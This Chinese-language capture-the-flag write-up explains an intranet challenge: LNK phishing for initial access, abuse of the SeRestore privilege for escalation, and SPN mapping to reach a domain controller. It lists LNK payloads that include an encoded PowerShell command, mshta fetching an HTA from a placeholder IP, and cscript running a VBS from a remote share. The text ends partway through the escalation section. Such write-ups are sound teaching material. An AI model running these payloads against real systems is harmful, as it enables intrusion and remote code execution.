<aside> 😜 Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you

</aside>

https://m10.music.126.net/20201006184522/4257e7748f5892fd75881c919fd98529/ymusic/3d4e/8315/28e9/9cb6a7b879d0b7fe37f49348849efca5.mp3

TL;DR


首先道个歉,因为搅屎还有服务宕机,还有我的迷惑操作让各位师傅没有收获流畅的体验!对不住各位!

整道题目流程比较短, 入口就是一个非常简单的Lnk钓鱼,想办法整一个无交互的Lnk木马就行,拿到权限后获得第一个Flag。而第二关通过SeRestore特权达成任意文件写的本地提权获取第二个Flag。

最后一关,使用SPN mappings 将Host转换成CIFS票据, 然后直接控制dc.

Ps: 靶场真的好难运维啊!!!

1. 入口- Lnk phish


这里只过滤了空格,而没有过滤其他空白字符串,所以可以直接使用其他空白字符串bypass,这里就当作开放式解题了,看到的Payload如下:

C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe $executioncontext.InvokeCommand.InvokeScript([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('cABpAG4AZwAgAGIAYQBpAGQAdQAuAGMAbwBtAA==')))
C:\\Windows\\System32\\cmd.exe /c	type	%USERPROFILE%\\Desktop\\flag.txt
C:\\Windows\\System32\\cmd.exe /k"whoami"
C:\\Windows\\System32\\mshta.exe <http://xxx.xxx.xxx.xxx:8080/1.hta>
C:\\Windows\\System32\\cscript.exe \\\\xxx.xxx.xxx.xxx\\public\\test.vbs

也有同学一直尝试使用Python来反弹shell,不过Python不在环境变量中,可以尝试使用一下Windows原生的工具,这里各显神通即可。

(其实直接Cobalt Strike一把梭就行,我把Windows defender关了

n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}

2. 提权-SeRestore特权


SeRestore特权一般是给Backup用户用于还原备份文件的,这里我主要介绍两种方案滥用SeRestore权限:

  1. 使用SeRestore特权修改注册表,劫持高权限进程启动的进程。这个在hatRiot的token-priv项目中已经写的比较清晰了。